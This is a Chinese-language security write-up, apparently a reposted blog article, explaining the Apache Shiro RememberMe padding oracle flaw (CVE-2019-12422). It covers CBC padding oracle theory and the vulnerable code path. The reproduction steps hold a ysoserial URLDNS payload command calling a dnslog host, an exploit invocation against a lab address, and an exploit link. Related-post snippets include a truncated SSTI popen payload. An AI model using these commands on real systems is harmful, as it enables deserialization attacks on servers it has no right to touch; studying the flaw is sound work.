CVE-2019-12422 Apache Shiro RememberMe Padding Oracle

前置知识

CBC模式

首先我们可以看一下CBC模式的流程图

初始化向量IV和第一组明文XOR后得到的结果作为新的IV和下一组明文XOR,按这样循环下去就得到结果。解密是加密的逆过程,也就是密文被Key解密为中间值,然后中间值与IV进行XOR运算得到该分组对应的明文

PKCS #5

上面说到了CBC模式是分组解密,那么到最后一组的时候可能就长度就不足了,这个时候就需要填充。对于采用DES算法加密的内容,填充规则是PKC #5,而AES是 PKC #7,这两者唯一区别是PKCS #5填充是八字节分组而PKCS #7是十六字节。

具体填充方式如下图

最后一组剩下n个就填几个0xn

Padding Oracle Attack

Padding Oracle Attack是针对CBC链接模式的攻击,和具体的加密算法无关

在看下面内容时 , 得先知道这些名词的含义 :

  • RawIV : 原始的IV , 解密时即为前一个密文分组 .
  • FuzzIV : 枚举的IV , 下文会通过枚举 IV 的方式来计算出明文的值
  • Key : 密钥
  • PlainText : 明文分组
  • CipherText : 密文分组
  • MediumValue : 我们把 CipherTextKey 进行 Block_Cipher_Decryption 运算后的值称为 MediumValue( 中间值 )

在解密时 , CipherText 会被密钥 Key 解密为 MediumValue , 然后 MediumValue 会与 RawIV 进行异或运算 , 得到该分组对应的 PlainText

但是我们不需要去解密( 如前文所说 : Oracle 的核心是提交数据让服务端解密 , 并验证解密后明文分组的 Padding 是否符合规范 ) , 因此我们创建一个新的 IV ( 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ) 作为 FuzzIV , 并结合 CipherText 提交给服务端。

服务端会将接收到的 FuzzIV 与 解密后的 MediumValue 进行异或运算 , 得到一个明文分组(这里的明文分组不是指PlainText , 它只是用于验证异或计算结果是否满足 PKCS5Padding 规范) , 然后去验证这个明文分组的 Padding 是否有效。

在某一轮解密中 , 服务端异或运算后的明文分组为 0x29 0x34 0x5A 0x6B 0x07 0xA3 0xB2 0x3C , 这个分组的 Padding 不满足 PKCS5Padding 规范 , 因此这轮解密中提交的 FuzzIV 是无效的 , 服务端会返回 "密文有效 , 填充无效" 的报错信息。

不断修正 FuzzIV 的值( 0x00 - 0xFF , 最多修正 255 次 ) . 直到某一轮解密中 , 服务端异或运算后的明文分组为 0x39 0x73 0x23 0x32 0x5A 0x7B 0x9C 0x01 , 这个 Padding 符合 PKCS5Padding 规范 , 因此这轮提交的 FuzzIV 是有效的 . 服务端会返回 "密文有效 , 填充有效" 的信息。

当获取了有效的 FuzzIV 后我们能做什么呢 ? 我们能够根据等价代换得到如下公式 :

∵   FuzzIV[8]   ^   MediumValue[8]   =   0x01
∴   MediumValue[8]   =   FuzzIV[8]   ^   0x01

MediumValueRawIV 的异或运算结果就是真正的明文,存在如下公式 :

∵   MediumValue[8]   ^   RawIV[8]   =   PlainText[8]
∴   PlainText[8]   =   RawIV[8]   ^   FuzzIV[8]   ^   0x01

FuzzIV[8] , RawIV[8] 都是已知的 , 因此我们可以直接计算出 plainText[8]的值 . 这就是 Padding Oracle Attack 的攻击原理

同理我们可以计算出plainText[7]的值

∵   FuzzIV[7]   ^   MediumValue[7]   =   0x02
∴   MediumValue[7]   =   FuzzIV[7]   ^   0x02
∵   MediumValue[7]   ^   RawIV[7]   =   PlainText[7]
∴   PlainText[7]   =   RawIV[7]   ^   FuzzIV[7]   ^   0x02

后面的过程都是类似的 , 我们可以通过这种 Padding Oracle 的方法获取每一位明文的值

CBC Byte-Flipping Attack

通过Oracle可以在不知道key的情况下得到全部明文的值,有没有什么可以篡改明文的值呢,这里就需要用到CBC字节翻转攻击,原理就是通过损坏密文字节来改变明文字节

漏洞复现

首先生成一个URLDNS payload

java -jar ysoserial-0.0.5.jar URLDNS "http://m1y3uh.dnslog.cn" > payload.ser

然后我们需要一个合法的用户RememberMe Cookie,通过Burpsuite抓包获得

rememberMe=mS/W4Ko16uqItdZWwUnf/zSXUVLIoZk4e9aCeHgFB6LTwMkLJiQykvdK2EpMMz0oUPHQMAsNbw0fBMU0BSf2QxAWghMPhrusV7wiqI5edlrnaSwRt3++Gg7x2+cvlQdcLA2CiHkwCiPQsUGaues7KHoEq9SLHHJY3esGu2kpwcWokf0WWEymn1PN7DHnI3eZkrkvEozEp6vimuDQJ+28jeeD0vtOYjlpYXs8P8ucVhE3u51g7nbwqporXBkGzKVdEAABhFd6/dCkV2/HMjBty7bgV6MSV4WKfpGHlC6MyLZlOp5TmIZYlQQb3Wqxr6eJ0TsxTmxMzJT0ve1/D/4mVE+s8SMcEEQsaF+WudKR3HNJr40ndhv/JOu5iKhMpy26AAAAAAAAAAAAAAAAAAAAAA==

然后开始利用,exp地址

python shiro_exp.py "http://10.17.0.82:8080/samples_web_war/" "mS/W4Ko16uqItdZWwUnf/zSXUVLIoZk4e9aCeHgFB6LTwMkLJiQykvdK2EpMMz0oUPHQMAsNbw0fBMU0BSf2QxAWghMPhrusV7wiqI5edlrnaSwRt3++Gg7x2+cvlQdcLA2CiHkwCiPQsUGaues7KHoEq9SLHHJY3esGu2kpwcWokf0WWEymn1PN7DHnI3eZkrkvEozEp6vimuDQJ+28jeeD0vtOYjlpYXs8P8ucVhE3u51g7nbwqporXBkGzKVdEAABhFd6/dCkV2/HMjBty7bgV6MSV4WKfpGHlC6MyLZlOp5TmIZYlQQb3Wqxr6eJ0TsxTmxMzJT0ve1/D/4mVE+s8SMcEEQsaF+WudKR3HNJr40ndhv/JOu5iKhMpy26AAAAAAAAAAAAAAAAAAAAAA==" payload.ser

最后得到可利用的RememberMe Cookie

然后开始利用

漏洞分析

跟进convertBytesToPrincipals方法

这里首先会判断有无密钥服务对象(CopherService),有就使用decrypt方法

跟进getCipherService方法

跟进decrypt方法,这里面是AES解密方法

跟进JcaCipherService#decrypt方法

程序在这里会调用getInitializationVectorSize方法获取IV长度

然后在new byte处获取一个iv对象

接着调用了arraycopy函数

Java.lang.System.arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
概念 : 将源数组中从指定位置开始的数据复制到目标数组的指定位置 .
src : 源数组
srcPos : 源数组要复制的起始位置
dest : 目的数组
destPos : 目的数组放置的起始位置
length : 复制的长度

现在就得到了新的密文encrypted,这也是真正的密文,之前ciphertext只是base64解密后的密文,最后就调用JcaCipherService#decrypt的重载方法

这里调用 JcaCipherService#crypt方法进行解密 , 继续跟进

这里new了一个initNewCipher类,作用是提供了一些加密解密的方法

接着调用JcaCipherService#crypt方法

这里调用了doFinal方法

AESCipher#engineDoFinal会判断是否Padding成功,回到JcaCipherService#crypt,如上一个图,如果Padding失败就会抛出异常Unable to execute 'doFinal' with cipher instance。回到getRememberedPrincipals方法

convertBytesToPrincipals抛出异常了就会被catch捕获,使用onRememberedPrincipalFailure方法处理,跟进

跟进forgetIdentity,在当前类并没有实现该方法,在CookieRememberMeManager类中继承了该类实现了forgetIdentity方法,跟进

继续跟进forgetIdentity

跟进removeFrom方法

这里的value值为DELETED_COOKIE_VALUE即deleteMe

所以如果Padding失败,那么就会返回一个Cookie: RememberMe=deleteMe,那么Padding成功有什么特征呢

Java原生反序列化是按照约定的格式读取序列化数据,一步一步反序列化的也就是如果在序列化数据后面加入一些数据,是不会影响反序列化的。也就是说我们可以利用一个已有的rememberMe cookie值(AES加密的序列化数据),在其后加入一段数据,只要ASE能正确解密数据,就可以被反序列化。

所以这里布尔条件就出来了

  1. padding失败,返回一个cookie: rememberMe=deleteMe;
  2. padding成功,返回正常的响应数据

最后payload的构造就是不断的用两个block去padding得到intermediary之后,构造密文使得解密后得到指定明文,最后拼接到原有的cookie上。

exp: https://github.com/3ndz/Shiro-721

参考链接

https://www.guildhab.top/2020/11/cve-2019-12422-shiro721-apache-shiro-rememberme-padding-oracle-1-4-1-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90-%e4%b8%8a/

https://www.guildhab.top/2020/12/cve-2019-12422-shiro721-apache-shiro-rememberme-padding-oracle-1-4-1-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90-%e4%b8%8b/

https://www.const27.com/2021/02/19/Padding%20oracle%20Attack%E4%B8%8ECBC%E7%BF%BB%E8%BD%AC%E5%AD%97%E8%8A%82%E6%94%BB%E5%87%BB/

https://0day.design/2020/03/08/Shiro%20Padding%20Oracle%20Attack%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://www.anquanke.com/post/id/193165#h2-11

本文来源于: https://xz.aliyun.com/t/9406

相关推荐

2021腾讯游戏安全技术初赛PC客户端解题报告

PC客户端初赛赛题解题报告 概述 本题是一个windows 32位opengl游戏程序,打开发现是一个3d游戏,视角移动受限,未提供坐标移动功能,无法看到屏幕中央箭头指向的区域。 使用ida搜索字符串可以发现使用的glfw版本为3.3,并且

记一次靠猜的.net代码审计拿下目标

0x00写在前面 在一次授权的实战测试中,需要拿到某OA的权限,经过top500的姓名+top100的密码,爆破出来几个账户,有了账户,进入oa内部,通过上传很轻松的就拿到了shell,但是客户不满足于此,要求找到未授权的RCE.有了she

网络空间搜索引擎的区别

网络空间搜索引擎的区别 ### fofa fofa是白帽汇推出的网络空间测绘引擎。白帽汇是一家专注于网络空间测绘与前沿技术研究的互联网安全公司,主要从事网络安全产品开发与服务支撑等相关工作,为国家监管部门及政企用户提供综合性整体解决方案,有

D-Link路由器漏洞研究分享

0x0 前言 D-Link DIR-816 A2是中国台湾友讯(D-Link)公司的一款无线路由器。攻击者可借助‘datetime’参数中的shell元字符利用该漏洞在系统上执行任意命令。 0x1 准备 固件版本 1.10B05:http:

主流WebShell工具流量层分析

很多人都说冰蝎好用,流量加密的,可是流量加密在哪里,很多人可能还是懵懵懂懂的,于是就分析记录了一下,大佬勿喷。 AntSword流量分析 蚁剑有一个非常好用的扩展功能为编码器和解码器,利用此功能可以自定义加密,这里分析的是默认的加密方式,在

Nginx_lua 100参数绕过原理详解

一、环境搭建 Nginx_lua 安装 https://github.com/openresty/lua-nginx-module#installation wget 'https://openresty.org/download/ngin

CC链 1-7 分析

一、简介 Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java

记一次 getshell 过程

前言 兜兜转转最终拿到了 shell ,但是发现大佬已经在前一个小时 getshell 了,记录一下我是怎么发现的过程。 未授权测试是违法的,仅供学习交流。 过程 打开网站查看源代码,发现成功登录后会跳转到 f0.html 文件 没登录直接

GitHub SSTI靶场 wp

本人小白,师傅们勿喷 payload主要有两种形式: 一种是获取os来执行命令 {{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('

ThinkPHP 6 反序列化漏洞

ThinkPHP6 反序列化漏洞 环境W tp6.0 apache php7.3 漏洞分析 反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件 app/controller/Index.php 注意tp6的url访

记一次详细的代码审计

前言 本篇是对极致CMSv1.7漏洞的一些新的发现,先从MVC开始到漏洞的发掘利用 MVC篇 首先,先打开index.php <?php // +-----------------------------------------------